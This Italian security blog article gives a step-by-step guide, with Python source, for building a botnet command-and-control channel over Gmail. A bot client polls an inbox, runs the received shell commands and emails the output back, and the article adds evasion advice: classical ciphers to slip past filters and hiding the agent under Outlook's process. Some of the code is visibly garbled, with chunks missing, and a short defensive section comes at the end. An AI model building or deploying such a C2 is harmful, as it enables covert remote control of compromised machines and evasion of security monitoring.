Red Hot Cyber

La cybersecurity è condivisione.
Riconosci il rischio, combattilo, condividi le tue esperienze ed 
incentiva gli altri a fare meglio di te.

Cerca

Come realizzare un Command & Control utilizzando Gmail in 16 steps per bypassare qualsiasi sistema di sicurezza

Giuseppe Longobardi : 17 Ottobre 2023 07:28

Prefazione: Come avevamo riportato qualche giorno fa, riportiamo la ricerca integrale svolta dal team di HackerHood – comprensiva di codice sorgente – per realizzare comunicazioni invisibili ai sistemi di sicurezza utilizzando Gmail come vettore di scambio di informazioni. Questa ricerca di Giuseppe Longobardi ha puramente lo scopo didattico di far comprendere che la logica Living off the Land (LotL) consente di poter utilizzare software attendibili per poter bypassare i sistemi di sicurezza. In questa ricerca viene sfruttato il canale attendibile Gmail per far dialogare un malware presente all’interno di una rete aziendale con un server di comando & controllo attestato sulla rete internet.

Oggi vedremo come con delle semplici email è possibile controllare milioni di computer, server, smartphone , stampanti e dispositivi IoT dalla panchina del parco.

Un’infrastruttura di Comando e Controllo (C&C, o Command and Control in inglese) rappresenta il cervello tattico dietro le reti di botnet e le attività malevole online. Essa funge da centro di coordinamento che permette agli attaccanti di comandare, controllare e recuperare dati dai sistemi compromessi noti anche come “bot”. In questo contesto, è fondamentale comprendere la complessità, la resilienza e le tecniche sofisticate che caratterizzano queste infrastrutture per poter sviluppare metodi di difesa efficaci.

In questo articolo presenteremo un’architettura innovativa che permette di bypassare le principali misure di sicurezza più diffuse nelle aziende. Questo grazie allo sfruttamento di un canale di comunicazione autorevole e usato da miliardi di utenti che quindi non può essere bloccato nella sua fruizione.

Questo canale è chiaramente GMAIL,il quale ci permetterà di instaurare un canale criptato fra i bot ed i server C&C senza mai realmente far entrare in contatto diretto queste due entità. Sfrutteremo le email come fossero dei frame ethernet in una rete L2 fra i bot ed i server C&C, questo anche nel caso di bot a migliaia e migliaia di KM di distanza. 

Progetteremo la struttura dati dei PDU e definiremo i criteri dei payload che potranno transitare sulla nostra rete L2, in questo scenario l’oggetto delle email diventerà l’header dei nostri pacchetti mentre il corpo delle email diventerà il campo dati dei nostri PDU. Tutto questo sarà protetto dai più elevati standard di crittografia messi in campo dal TLS, sul quale si basano le moderne implementazioni sicure di SMTP e IMAP.

Il traffico risultante sarà entropicamente equivalente a quello di una canonica email, dato che i comandi che i server C&C manderanno ai bot tramite le email non saranno altro che testo. Il problema però potrebbe essere un’eventuale censura da parte di google ma anche per questo abbiamo trovato una soluzione, la illustreremo facendo un autentico viaggio ai tempi dell’antica Roma. Capirete leggendo l’articolo.

Architettura Generale 

L’architettura di un’infrastruttura C&C può variare notevolmente, in generale è composta da:

Server C&C: Il cuore dell’infrastruttura, responsabile per inviare comandi ai bot e ricevere dati da essi.

Bot: Sistemi infettati che eseguono i comandi del server C&C.

Canale di Comunicazione: Il mezzo attraverso il quale il server e i bot comunicano. Questo può essere fatto attraverso vari protocolli come HTTP, HTTPS, IRC, o altri.

Caratteristiche

Anonimato e Occultamento: Gli attaccanti utilizzano spesso tecniche come VPN, reti Tor o servizi di fast-flux per nascondere la posizione effettiva del server C&C. Tuttavia ad oggi la maggior parte delle tecniche possono essere identificate da NDR , Firewall, IPS, EDR ed altri sistemi di sicurezza dato che sono ormai note.

Polimorfismo e Offuscamento: Il codice malevolo può essere progettato per cambiare le proprie caratteristiche nel tempo, rendendo difficile la sua identificazione e rimozione. Ogni malware può essere identificato tramite una “firma”, questa se condivisa con gli altri organismi di CTI può portare all’identificazione dell’agent che infetta i bot. Per questo è bene prevedere una continua evoluzione del codice in modo da mutare ciclicamente la firma.

Punto a Punto e Topologie Distribuite: Anziché utilizzare un singolo server C&C, alcune reti utilizzano una topologia distribuita per resistere ai tentativi di smantellamento. 

Ridondanza: Spesso, vi sono meccanismi di failover che permettono a un nuovo server C&C di prendere il controllo nel caso in cui il server primario sia compromesso.

Multi-Stage Payloads: Alcuni attacchi utilizzano payload in più fasi, dove un payload iniziale più semplice viene utilizzato per caricare codici più complessi e sofisticati una volta che il sistema è compromesso.Le infrastrutture C&C spesso non offrono una finestra di controllo completa sugli host, per via della loro natura stealth e poco invasiva. Per questo sono usate come punto di ingresso per poi installare backdoor, RAT o simili.

Ora che abbiamo descritto l’architettura classica di una infrastruttura C&C, analizziamo quella della nostra soluzione.

Architettura della soluzione

Come descritto nella sezione precedente, un infrastruttura C&C è composta da tre principali elementi: Il server C&C, i bot e il canale di comunicazione. Nella nostra architettura sia il server C&C che i client sono pilotati da semplici script scritti in Python, il canale di comunicazione è GMAIL. Si tenga presente che la scelta di GMAIL non costituisce in alcun modo un vincolo strutturale, qualsiasi provider di email può essere sfruttato come “VPN” una volta compresa l’idea alla base.

La scelta di usare le email come “protocollo di trasporto” è dettata dai seguenti motivi:

  • Il traffico in uscita e/o ingresso verso i server di posta di Google non viene considerato automaticamente malevolo, mentre invece quello verso un server non noto (Server C&C) verrebbe invece immediatamente rilevato;
  • Grazie all’uso delle moderne versioni di IMAP e SMTP, che sono supportate da robuste suite crittografiche, è possibile occultare il contenuto delle email a EDR, IPS , NDR , XDR , Firewall, etc;
  • I comandi hanno un entropia simile ad una canonica email, quindi il traffico non può essere facilmente identificato come “inusuale” dato che avrebbe le stesse caratteristiche di una email;
  • L’uso di un provider pubblico garantisce una bassa possibilità di filtraggio delle email dato che sarebbe impensabile per Google analizzare tutte le email inviate alla ricerca di pattern simili. Questo però lo risolviamo con quel famoso viaggio nell’antica Roma di cui parlavamo all’inizio dell’articolo. A breve approfondiremo.

Descrizione struttura tabellare database

La nostra soluzione non ha un vero e proprio database dato che implicherebbe una maggiore complessità architetturale. Il nostro database sono le email di gmail, strutturate secondo il diagramma che segue. Ogni email quindi sarà un vero e proprio “record”.

Analisi dei processi

La comunicazione tra Server e Zombies non è mai diretta, c’è sempre GMAIL nel mezzo. Per poter comunicare con gli Zombie non è necessario adoperare il Server C&C , basta semplicemente poter inviare una mail ad una certa casella di posta da un altra specifica casella di posta. Il Server C&C è solo un semplice script che permette di inviare delle email, quindi possiamo replicarlo con il nostro smartphone da qualsiasi luogo.

Uno dei problemi di questo processo potrebbe essere proprio GMAIL ma per rendere ridondante l’architettura nel caso in cui GMAIL blocchi gli account possiamo prevedere N Caselle Atte a inviare comandi ed N per inviare le risposte, anche di provider diversi. 

Nel caso in cui GMAIl filtri le singole email possiamo trasmettere usando le crittografie storiche. Questo perché le crittografie storiche non introducono nuovi alfabeti, contenendo quindi l’entropia del testo. Potremmo usare quindi:

  • La crittografia di Giulio Cesare (Cesar Chiper)
  • Il codice di vigenere (Crittografia polialfabetica)
  • Transposition Cipher
  • E altre crittografie storiche

Contenere l’entropia è fondamentale perché permette di occultare le email dei server C&C e le response dei bot nei milioni di email inviate giornalmente. Quindi apparendo come mail legittime Google dovrebbe scavare su ogni singola email applicando algoritmi di brute-forcing per provare a decriptare eventuali stringhe criptate con crittografie storiche. In quel caso però se si aggiungessero più livello di crittografia, sempre di tipo storico, posso dire che a livello di complessità computazionale sarebbe quasi impossibile identificarci. 

Questo era quello che intendevo con viaggo ai tempi dell’antica Roma.

Allestiamo il laboratorio

Per questo laboratorio useremo 2 semplici macchine virtuali. Sulla macchina kali eseguiremo gli script che permetteranno di inviare i comandi alla rete di zombi (che sarà rappresentata da una macchina fisica windows 10 e da una macchina virtuale ubuntu).

Non abbiamo riportato gli IP né altri dettagli perché non è necessario conoscerli per poter comunicare con la rete, questo è un enorme vantaggio.

Proof of Concept – Stealth GMAIL C&C

Si rammenta che il codice appena mostrato è solo una piccola parte della soluzione sviluppata, il suo uso all’infuori del perimetro accademico è SEVERAMENTE vietato.

STEP 1

La prima cosa da fare è predisporre due indirizzi email: uno servirà al server per comunicare i comandi alla botnet, l’altro servirà per raccogliere le risposte dalla rete di zombie.

Per poter inviare e leggere email da codice ci servirà generare una “password app” dal nostro account google, questa modalità di autenticazione ci fornirà un token che potremo usare come una sorta di “Api Key”. Per generare una password app fare riferimento alla guida ufficiale di google, disponibile qui.

STEP 2

Una volta pronte le due email e generate le password app, siamo pronti per iniziare a scrivere il codice del nostro Server C&C. Codice che potrebbe assomigliare a questo:

import smtplib
import imaplib
import argparse
import email
import time
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import random
import re


def show_banner():
    print(r"""
  ____                 _ _    ____ ___    ____  
 / ___|_ __ ___   __ _(_) |  / ___( _ )  / ___|
| |  _| '_ ` _ \ / _` | | | | |   / _ \/\ |    
| |_| | | | | | | (_| | | | | |__| (_>   len(words):
        return "Posizione non valida."
   
    # Restituisce la parola alla posizione specificata, ricordando che l'indicizzazione delle liste in Python inizia da 0
    return words[position - 1]


def send_message(source_email,destination_email,Subject,testo_messaggio,id_command,os_target,communication_type,remote_mac_address,host_group):
    messaggio = MIMEMultipart()
    messaggio['From'] = source_email
    messaggio['To'] = destination_email
   
    if communication_type == "broadcast":
        messaggio['Subject'] = Subject + '_' + str(id_command) + '_' + str(os_target) + '_' + str(communication_type) + '_' + '0'
   
    if communication_type == "multicast":
        messaggio['Subject'] = Subject + '_' + str(id_command) + '_' + str(os_target) + '_' + str(communication_type) + '_' + str(host_group)


    if communication_type == "unicast":
        messaggio['Subject'] = Subject + '_' + str(id_command) + '_' + str(os_target) + '_' + str(communication_type) + '_' + str(remote_mac_address)


    messaggio.attach(MIMEText(testo_messaggio, 'plain'))


    # Invio del messaggio
    try:
        server.sendmail(source_email, destination_email, messaggio.as_string())
        return True
    except:
        return False


def email_update(id_command):
    mail = imaplib.IMAP4_SSL("imap.gmail.com")


    # Autenticazione
    mail.login(source_email, app_password)


    # Seleziona la casella di posta
    mail.select("inbox")
    status, messages = mail.search(None, 'UNSEEN')
    if status != "OK":
        print("Research Error.")
        return


    # Ottieni la lista degli id dei messaggi
    message_ids = messages[0].split()


    for email_id in message_ids:
        # Fetch del messaggio per ID
        status, message_data = mail.fetch(email_id, "(RFC822)")
        if status != "OK":
            print("Mail fetching Error.")
            return


        # Estrai il corpo del messaggio
        raw_email = message_data[0][1]
        msg = email.message_from_bytes(raw_email)
        subject_email = msg["Subject"]
        # Verifica l'indirizzo email del mittente
        from_address = msg["From"]
        if address_filter not in from_address:
            return


        # Estrai e stampa il corpo del messaggio
        if msg.is_multipart():
            for part in msg.walk():
                if part.get_content_type() == "text/plain":
                    try:
                        body = part.get_payload(decode=True)
                        print("Output Command n°",id_command," from: ",get_parameter_id(subject_email,4),"(",str(get_parameter_id(subject_email,3)),")","\n\n",body.decode("utf-8"))
                    except:
                        print("Output Visualization Error")
        else:
            body = msg.get_payload(decode=True)
            print("Output Command n°",id_command," from: ",get_parameter_id(subject_email,4),"(",str(get_parameter_id(subject_email,3)),")","\n\n",body.decode("utf-8"))


def is_valid_mac_address(mac_address):
    format = 0
    # Regex per il formato con i due punti
    regex_colon = re.compile(r'^([0-9A-Fa-f]{2}[:]){5}([0-9A-Fa-f]{2})$')
   
    # Regex per il formato con i trattini
    regex_dash = re.compile(r'^([0-9A-Fa-f]{2}[-]){5}([0-9A-Fa-f]{2})$')


    if bool(regex_colon.match(mac_address)):
        format = 1


    if bool(regex_dash.match(mac_address)):
        format = 2


    return format


def convert_mac_format(mac_address_with_dash):
    # Sostituisci ogni trattino '-' con due punti ':'
    mac_address_with_colon = mac_address_with_dash.replace('-', ':')
   
    return mac_address_with_colon
   
def parameters_validation(command,os_target,communication_type,remote_mac_address: str,host_group):
    command = command.lower()
    if os_target != None:
        os_target = os_target.lower()


    if communication_type != None:
        communication_type = communication_type.lower()


    mac_validity = True
   
    if remote_mac_address != None:
        remote_mac_address = remote_mac_address.lower()
        mac_validity = is_valid_mac_address(remote_mac_address)
        if mac_validity == 2:
            remote_mac_address = convert_mac_format(remote_mac_address)


    if host_group != None:
        host_group = host_group.lower()
   
    if command != "update":
        if communication_type == "unicast" and remote_mac_address == None:
            return "Mac Address (-m or --mac) is required in case of UNICAST communication type"
        if communication_type == "multicast" and host_group == None:
            return "Host Group (-g or --group) is required in case of MULTICAST communication type"
        if os_target != "windows" and os_target != "linux":
            return "The OS Can only be linux or windows"
        if mac_validity == 0:
            return "The Mac Address you entered does not have a valid syntax ( The format can be 00:B0:D0:63:C2:26 or 00-B0-D0-63-C2-26)"
   
    return "pass"


def get_command_id():
    current_time_seconds = time.time()
    current_time_milliseconds = int(round(current_time_seconds * 1000))
    return current_time_milliseconds


def main():
    show_banner()
    parser = argparse.ArgumentParser(description='Remote Shell')
    parser.add_argument('-c', '--command', required=True, help='Command (The command to execute or type "update" to get command output from hosts)')
    parser.add_argument('-o', '--os', required=False, help='Operative System (linux/windows)')
    parser.add_argument('-t', '--type', required=False, help='type of communication (unicast/multicast/broadcast) ')
    parser.add_argument('-m', '--mac', required=False, help='remote host mac address (Required only in case of Unicast) ')
    parser.add_argument('-g', '--group', required=False, help='Group (Required only in case of Multicast) ')


    args = parser.parse_args()
    i = 0
    command = args.command
    os_target = args.os
    communication_type = args.type
    remote_mac_address = args.mac
    host_group = args.group
    testo_messaggio = command
    id_command = get_command_id()
    validity = parameters_validation(command,os_target,communication_type,remote_mac_address,host_group)
    if validity != "pass":
        print(validity)
    else:
        if testo_messaggio.lower() == 'update':
            email_update(id_command-1)
        else:
            flag = send_message(source_email,destination_email,Subject,testo_messaggio,id_command,os_target,communication_type,remote_mac_address,host_group)
            if (flag):
                print("Command n°",id_command," Sent.")
                i = i + 1
            else:
                print("Command n°",id_command," Not sent.")
        # Chiusura della connessione
        server.quit()


if __name__ == main:
    main()
else:
    main()

Descrizione del codice

import smtplib, imaplib: Importa i moduli per operazioni SMTP e IMAP.

import argparse: Importa il modulo per la gestione degli argomenti della riga di comando.

from email.mime.text import MIMEText: Importa MIMEText per creare messaggi di testo MIME.

import time, random, re: Importa i moduli per gestire il tempo, numeri casuali e espressioni regolari.

source_email = “[email protected]”: Definisce l’email sorgente.

destination_email = “[email protected]”: Definisce l’email destinataria.

app_password = “password”: Definisce la password dell’app.

show_banner()

print(“ASCII Banner”): Stampa un banner ASCII.

get_parameter_id(input_string, position)

return input_string.split(“_”)[position]: Divide la stringa in input con il separatore “_” e ritorna l’elemento alla posizione specificata.

send_message(subject, message)

msg = MIMEText(message): Crea un nuovo messaggio MIME.

msg[‘Subject’] = subject: Imposta l’oggetto del messaggio.

server.sendmail(source_email, destination_email, msg.as_string()): Invia l’email.

email_update(id_command)

server = imaplib.IMAP4_SSL(“imap.gmail.com”): Inizializza una connessione IMAP sicura.

server.login(source_email, app_password): Esegue il login.

server.select(‘inbox’): Seleziona la casella di posta ‘inbox’.

…: (Altre operazioni IMAP per ottenere e filtrare i messaggi).

is_valid_mac_address(mac_address)

return bool(re.match(“^([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})$”, mac_address)): Utilizza una regex per verificare la validità dell’indirizzo MAC.

convert_mac_format(mac_address_with_dash)

return mac_address_with_dash.replace(‘-‘, ‘:’): Sostituisce i trattini con i due punti nell’indirizzo MAC.

parameters_validation(…)

…: Serie di controlli su argomenti e variabili per assicurare che siano validi.

get_command_id()

return str(int(time.time())) : Genera un ID unico basato sul tempo.

parser = argparse.ArgumentParser(…): Inizializza l’oggetto ArgumentParser.

parser.add_argument(…): Aggiunge argomenti che il programma accetterà.

args = parser.parse_args(): Analizza gli argomenti della riga di comando.

parameters_validation(…): Chiama la funzione per validare gli argomenti.

server = smtplib.SMTP(“smtp.gmail.com”, 587): Inizializza una connessione SMTP.

server.starttls(): Avvia la crittografia TLS.

server.login(source_email, app_password): Effettua il login al server SMTP.

if args.command == ‘update’: email_update(…): Se il comando è “update”, chiama la funzione email_update.

else: send_message(…): Altrimenti, chiama la funzione send_message per inviare il comando.

STEP 3

Predisponiamo adesso il codice del Client che riceverà i comandi dal Server C&C descritto nello step precedente.

import imaplib
import email
import time
import subprocess
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import socket
import platform
import uuid
import subprocess
from email.utils import parsedate_to_datetime
from datetime import datetime
import pytz


def show_banner():
    print(r"""
  ____                 _ _    ____ ___    ____  
 / ___|_ __ ___   __ _(_) |  / ___( _ )  / ___|
| |  _| '_ ` _ \ / _` | | | | |   / _ \/\ |    
| |_| | | | | | | (_| | | | | |__| (_>   len(words):
        return "Not a valid index."
   
    # Restituisce la parola alla posizione specificata, ricordando che l'indicizzazione delle liste in Python inizia da 0
    return words[position - 1]


while True:
    # Avvia sessione SMTP over TLS
    server = smtplib.SMTP('smtp.gmail.com', 587)
    server.starttls()
    mail = imaplib.IMAP4_SSL("imap.gmail.com")
    mail.login(email_sorgente, app_password)
    mail.select("inbox")
    server.login(email_sorgente, app_password)


    # Esegui una ricerca IMAP per ottenere solo i messaggi inviati dopo la data specificata
    status, messages = mail.search(None, f'(SINCE "{start_date_str}")')
    if status != "OK":
        print("Research Error.")
        exit()


    # Ottieni la lista degli id dei messaggi
    message_ids = messages[0].split()


    # Scorri tutti gli ID dei messaggi
    # ... (parte precedente del codice rimane invariata)


# Scorri tutti gli ID dei messaggi
    for email_id in message_ids:
        if email_id in messaggi_letti:
            continue
        # Fetch del messaggio per ID
        status, message_data = mail.fetch(email_id, "(RFC822)")
        if status != "OK":
            print("Fetch Error")
            continue


        # Estrai il corpo del messaggio
        raw_email = message_data[0][1]
        msg = email.message_from_bytes(raw_email)


        # Estrai e converte la data del messaggio
        date_string = msg["Date"]
        date_time_obj = parsedate_to_datetime(date_string).astimezone(italia_tz)
       
        # Filtra i messaggi in base alla data e all'ora
        if date_time_obj.replace(tzinfo=None) > start_datetime.replace(tzinfo=None):
            raw_email = message_data[0][1]


            msg = email.message_from_bytes(raw_email)


            subject_email = msg["Subject"]
            id_comando = get_parameters_from_email(subject_email,2)
            msg_target_os = get_parameters_from_email(subject_email,3).lower()
            msg_communication_type = get_parameters_from_email(subject_email,4).lower()
            #It could be either a mac address or a group name, it depends on the communication type
            msg_destination_id = get_parameters_from_email(subject_email,5).lower()


            if msg_communication_type == "unicast":
                msg_destination_id = convert_mac_format(msg_destination_id)


            # Verifica l'indirizzo email del mittente
            from_address = msg["From"]
            if indirizzo_filtro not in from_address:
                continue


            if msg_target_os != os_info:
                continue


            #if msg communication type is not unicast and msg destination is not the mac of the machine drop the mail
            if msg_communication_type == "unicast" and msg_destination_id != mac_address:
                continue
           
            if msg_communication_type == "multicast" and msg_destination_id != group:
                continue


            # Estrai e stampa il corpo del messaggio
            if msg.is_multipart():
                for part in msg.walk():
                    if part.get_content_type() == "text/plain":
                        try:
                            body = part.get_payload(decode=True)
                            print("Received Command:", body.decode("utf-8"))
                            output = esegui_comando(body.decode("utf-8"))
                            invia_messaggio(output,id_comando)
                            print("Command n°",id_comando," executed and feedback sent\n")
                            messaggi_letti.add(email_id)
                        except:
                            print("Errore nell'esecuzione del comando\n")
            else:
                body = msg.get_payload(decode=True)
                print("Received Command:", body.decode("utf-8"))


    time.sleep(10)

Descrizione del codice

italia_tz = pytz.timezone(‘Europe/Rome’): Imposta il fuso orario su quello dell’Italia.

start_datetime = datetime.now(italia_tz): Ottiene la data e l’ora attuale nel fuso orario italiano.

start_date = start_datetime.date(): Estrae la data dalla data e ora completa.

start_date_str = start_date.strftime(“%d-%b-%Y”): Formatta la data in una stringa.

Subject = ‘Response’: Imposta l’oggetto dell’email di risposta.

def get_mac_address(): Ottiene l’indirizzo MAC della macchina.

def convert_mac_format(mac_address_with_dash): Converte l’indirizzo MAC in un formato standard.

def get_hostname(): Ottiene l’hostname della macchina.

def get_private_ip(): Ottiene l’indirizzo IP privato della macchina.

def get_os(): Ottiene il sistema operativo della macchina.

def execute_command(command): Esegue un comando sul sistema e restituisce l’output.

def send_message(message_text, command_id): Invia un messaggio contenente l’output di un comando eseguito.

def get_parameters_from_email(input_string, position): Estrae parametri specifici dall’oggetto di un’email.

status, messages = mail.search(None, f'(SINCE “{start_date_str}”)’): Cerca email inviate dopo una data specifica.

date_string = msg[“Date”]: Estrae la data dall’email.

date_time_obj = parsedate_to_datetime(date_string).astimezone(italia_tz): Converte la data in un oggetto datetime e la adatta al fuso orario italiano.

msg_target_os = get_parameters_from_email(subject_email,3).lower(): Estrae il sistema operativo target dall’oggetto dell’email.

msg_communication_type = get_parameters_from_email(subject_email,4).lower(): Estrae il tipo di comunicazione dall’oggetto dell’email.

msg_destination_id = get_parameters_from_email(subject_email,5).lower(): Estrae l’ID di destinazione dall’oggetto dell’email.

if msg_communication_type == “unicast” and msg_destination_id != mac_address: Filtra i messaggi se il tipo di comunicazione è “unicast” e l’ID di destinazione non corrisponde all’indirizzo MAC.

if msg_communication_type == “multicast” and msg_destination_id != group: Filtra i messaggi se il tipo di comunicazione è “multicast” e il gruppo di destinazione non corrisponde.

time.sleep(10): Mette in pausa l’esecuzione per 10 secondi prima di ripetere il ciclo.

STEP 4

Avviamo un client python (script descritto allo step 3) su una macchina ubuntu ed una macchina windows con il semplice comando “python3 Client.py”

STEP 5

Proviamo ad inviare un comando di broadcast a tutta la rete di macchine con OS di tipo Windows.

STEP 6

Visualizziamo la mail inviata dal server nella casella di posta designata che verrà letta dai client in polling ogni X secondi.

come possiamo verificare l’ID del comando è il medesimo e si può apprezzare l’header che segue questa struttura: 

Request_{ID_COMMAND}_{OS_TYPE}_{COMMUNICATION_TYPE}_{IDENTITY_ID}

dove il command ID è la chiave primaria dei comandi impartiti e viene calcolata sulla base della data e ora attuale, il tipo di OS può essere “windows” o “linux”, il communication type può essere “unicast” , “multicast”  o “broadcast”. L’Identity ID nel caso in cui la comunicazione sia unicast sarà il mac address, nel caso in cui sia multicast sarà il nome del gruppo mentre nel caso di broadcast sarà “0”. Nel corpo della mail ci sarà il payload, cioè il comando vero e proprio. 

Quindi in questo scenario è come se l’oggetto della mail corrispondesse all’header di un PDU mentre il payload è il corpo della mail. GMAIL agisce come una sorta di VPN a livello 2, quindi logicamente è come se  il server C&C e tutti gli host fossero connessi direttamente in locale ad uno switch. Il nostro switch è GMAIL.

STEP 7

Verifichiamo se il comando è stato recepito dall’agent sul bot.

Come possiamo verificare il client ha ricevuto il comando che ha impartito il nostro Server C&C. Notiamo dall’output che il client ha inoltrato anche il feedback del comando via mail.

STEP 8

Verifichiamo adesso se il client ha correttamente inoltrato una mail contenente il feedback del comando alla casella di posta designata.

Come possiamo agilmente verificare è stata inoltrata una mail con avente un oggetto strutturato secondo la seguente struttura dati:

Response_{ID_COMMAND}_{MAC_ADDRESS}_{HOSTNAME}_{PRIVATE_IP}_{OS_TYPE}

I campi non hanno bisogno di presentazioni.Questa email (o PDU a questo punto) può essere visualizzata anche sul server C&C. In realtà nell’infrastruttura completa (la versione completa di questo codice presentato nell’articolo) c’è una web app che permette di visualizzare tutto in tempo reale con anche la possibilità di censire i bot attivi e impartire comandi graficamente.

STEP 9

Vediamo adesso come visualizzare l’output del comando direttamente sul server C&C.

Come possiamo vedere stiamo correttamente visualizzando il contenuto delle nostre email (PDU) con annessi alcuni dettagli sui client che le hanno inviate.

STEP 10

Proviamo a creare un file sulla macchina di destinazione.

A questo punto viene inviata la mail ed il client ad un certo punto la leggerà.

STEP 11

Verifichiamo se il client ha correttamente elaborato la richiesta.

Come possiamo vedere il comando è stato correttamente ricevuto.

STEP 12

Inviamo nuovamente il comando “dir” per verificare se il file è stato creato e visualizziamo l’output del comando dalla shell del Server C&C

Come possiamo vedere il file è stato correttamente creato.

STEP 13

Chiaramente tutti i comandi che abbiamo inviato sino ad ora sono destinati a soli bot con OS windows, infatti proprio per questo ho introdotto l’opzione “-o” dato che in una botnet non possiamo impartire comandi non considerando il sistema operativo degli zombie. Per questo aprendo la finestra di output del client sulla macchina ubuntu, potremo visualizzare che nessun comando è stato recepito, proprio per la condizione “-o windows”.

STEP 14

Proviamo adesso a stampare la configurazione di rete su tutti gli host linux. Già da ora si apprezza l’utilità di filtrare i destinatari dei comandi in base all’OS, dato che su windows si usa “ipconfig” mentre su linux “ifconfig”.

STEP 15

Verifichiamo se il client ha effettivamente ricevuto il comando.

Come possiamo vedere tutto sembra funzionare correttamente.

STEP 16

Verifichiamo l’output dal server C&C

Come possiamo vedere abbiamo ricevuto tutto correttamente. 

Considerazioni

Questa era una PoC di una parte della soluzione, chiaramente non possiamo condividere tutto il software (creato per soli fini accademici e di ricerca). La scelta di non divulgare integralmente la soluzione è perché a differenza di altri codici condivisi in articoli simili, questo potrebbe arrecare danni molto più seri se usato per fini diversi dalla ricerca , quindi abbiamo preferito non esporlo completamente.

Strategie difensive

Vediamo di seguito alcune tecniche che potrebbero bloccare completamente (o parzialmente) la nostra infrastruttura C2. Chiaramente se si applicano ai messaggi le crittografie storiche, risulta quasi impossibile decriptarne in automatico il contenuto con le regole standard (soprattutto se sono presenti più livelli). 

SSL/TLS Enforcement

Forzare l’uso di SSL o TLS garantirà che tutti i dati inviati tra il client e il server siano crittografati. Questo minimizza la possibilità di intercettazione del traffico. Questo può essere implementato a livello di server di posta e può anche essere forzato attraverso le politiche di gruppo su client aziendali.

Possibile minaccia mitigata: Anzichè usare delle email ad hoc si potrebbe iniettare del contenuto steganografico (ad esempio nelle immagini delle firme) per pilotare gli zombies da email legittime.

Endpoint Security Solutions

Le soluzioni EDR monitorano il comportamento del sistema in tempo reale. Possono identificare comportamenti come l’invio di dati ad indirizzi IP sconosciuti o l’esecuzione di payload sospetti, e bloccarli automaticamente.

Possibile minaccia mitigata: la nostra soluzione per poter funzionare ha bisogno degli agent installati sugli zombie. Questi agent potrebbero essere processi nascosti sotto un processo padre che è autorizzato a inviare mail (ad esempio outlook). 

Analisi del Contenuto delle E-mail

Le soluzioni di sicurezza della posta elettronica come Secure Email Gateway (SEG) possono scansionare il contenuto delle e-mail in arrivo e in uscita per identificare comportamenti sospetti, come allegati malevoli o link dannosi.

Possibile minaccia mitigata: Questa potrebbe potenzialmente essere una bella gatta da pelare per la nostra soluzione, un SEG se ben configurato potrebbe bloccare la nostra infrastruttura.

Autenticazione a Due Fattori (2FA)

La 2FA aggiunge un ulteriore livello di sicurezza richiedendo non solo una password, ma anche un secondo fattore come un token hardware o un codice SMS. Questo rende molto più difficile per un attaccante compromettere un account.

Possibile minaccia mitigata: Nel caso in cui siano presenti delle regole che permettano solo ad alcune email in whitelist di inviare messaggi, un hacker potrebbe appropriarsi di email legittime attraverso alcuni attacchi e inviare i comandi da li. 

Blacklist/Whitelist

Creando una blacklist di indirizzi IP o domini noti per essere malevoli, o una whitelist di indirizzi conosciuti come sicuri, è possibile ridurre la superficie di attacco.

Possibile minaccia mitigata: Nel caso in cui siano presenti delle regole che permettano solo ad alcune email in whitelist di inviare messaggi, un hacker potrebbe appropriarsi di email legittime attraverso alcuni attacchi e inviare i comandi da li. 

Limitazione dei Privilegi

Applicare il principio del minimo privilegio implica che gli account e le applicazioni dovrebbero avere solo le autorizzazioni necessarie per eseguire le loro funzioni. Questo limita il danno che può essere fatto se un account viene compromesso.

Possibile minaccia mitigata: limitando i privilegi assegnati ad ogni macchina si limita notevolmente il possibile impatto di un infrastruttura C&C dato che gli utenti non hanno tutti i privilegi amministrativi.

Proxy con SSL Stripping

Un proxy con SSL Stripping funziona come un intermediario tra il client e il server, un autentico Man-in-the-Middle. Quando un utente tenta di accedere a un sito web tramite una connessione HTTPS sicura, il proxy interviene intercettando la richiesta. Invece di inoltrarla come richiesta HTTPS, il proxy la trasforma in una richiesta HTTP e la invia al server di destinazione. Chiaramente egual discorso per le email.

Il server, a meno che non sia configurato per rifiutare connessioni non sicure, risponderà come se si trattasse di una normale richiesta HTTP. A questo punto, il proxy riceve la risposta e la inoltra al client. Ora, tutte le comunicazioni tra il client e il server passeranno attraverso questo proxy, e poiché la connessione è stata degradata da HTTPS a HTTP, il proxy può vedere e manipolare tutti i dati in chiaro. Questo permetterà l’analisi delle email inviate anche se criptate.

Possibile minaccia mitigata: Questa potrebbe potenzialmente essere una bella gatta da pelare per la nostra soluzione, un proxy se ben configurato potrebbe bloccare la nostra infrastruttura.

Ad oggi abbiamo testato la soluzione completa (quindi con tutte le funzionalità stealth possibili) ed è risultata irrilevabile da 9 soluzioni su 10. Siamo riusciti a nascondere il processo come figlio del PPI di Outlook.

Giuseppe Longobardi
CyberSecurity Manager e ICT Trainer, specializzato in Networking e CyberSecurity. Inventore della web app "OnionCert", registrata alla SIAE con N. Registrazione D000016744, ideatore del "Metodo Longobardi" per il Subnetting ed autore di svariati corsi di formazione in ambito Networking e CyberSecurity. Da sempre seguo progetti di ricerca e sviluppo in ambito Industry 4.0 , Smart City e Blockchain. Credo nello sviluppo continuo di nuove competenze, tecnologie e soluzioni open source. La mia filosofa di vita: "Se i tuoi progetti hanno come obiettivo 1 anno pianta del riso, 20 anni pianta un albero, un secolo insegna a degli uomini"